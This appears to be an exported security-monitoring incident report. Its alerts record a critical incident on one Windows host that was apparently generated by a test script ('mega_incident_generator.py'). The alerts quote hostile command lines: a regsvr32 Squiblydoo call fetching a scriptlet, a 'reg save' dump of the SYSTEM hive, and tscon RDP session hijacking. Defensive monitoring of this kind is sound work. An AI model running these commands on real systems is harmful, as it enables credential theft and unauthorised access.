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Critical CINC-20251221-154885B2 new

Aggregate ID: aggind:561559e2fcea400ba3601b74d64aa30b:4327446486

Incident Overview

Incident ID CINC-20251221-154885B2
Severity Critical (90)
Status new
Alert Count 6
Host Count 1

Timeline

First Seen 2025-12-22 02:51:28
Last Seen 2025-12-22 02:52:43
Duration 0d 0h 1m
Created 2025-12-22 08:36
Updated 2026-01-13 15:14

Kill Chain Analysis

Rec... Ini... Exe... Per... Pri... Def... Cre... Dis... Lat... Col... Com... Exf... Imp...
Observed Tactics:
Execution Defense Evasion Credential Access Lateral Movement
Techniques:
User Execution Regsvr32 OS Credential Dumping Remote Desktop Protocol

Affected Hosts (1)

DESKTOP-FNUMV3U

Related Alerts (6)

Severity Status Hostname Description Tactic Command Line Time
Informational new DESKTOP-FNUMV3U A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-22 02:52
High new DESKTOP-FNUMV3U A regsvr32 process appears to be related to a Squiblydoo attempt. Squiblydoo uses regsvr32 to pass a malicious script to scrobj.dll and registers a com object. Review the script passed to scrobj.dll on the command line. Defense Evasion regsvr32 /s /n /u /i:http://127.0.0.1/test.sct scrobj.dll 12-22 02:52
Critical new DESKTOP-FNUMV3U A process saved the Security Account Manager SAM or SYSTEM hive to disk. If this is unexpected, it likely indicates credential theft. Investigate the process tree. Credential Access reg save HKLM\SYSTEM C:\Users\User\AppData\Local\Temp\system.hiv 12-22 02:52
High new DESKTOP-FNUMV3U A command line indicates an attempt to hijack a remote desktop protocol session. Review the process tree. Lateral Movement C:\WINDOWS\system32\cmd.exe /c "tscon 1 /dest:rdp-tcp#0" 12-22 02:52
High new DESKTOP-FNUMV3U A command line indicates an attempt to hijack a remote desktop protocol session. Review the process tree. Lateral Movement tscon 1 /dest:rdp-tcp#0 12-22 02:52
Informational new DESKTOP-FNUMV3U A process has written a known EICAR test file. Review the files written by the triggered process. Execution "python" mega_incident_generator.py --rounds 2 --interval 30 12-22 02:51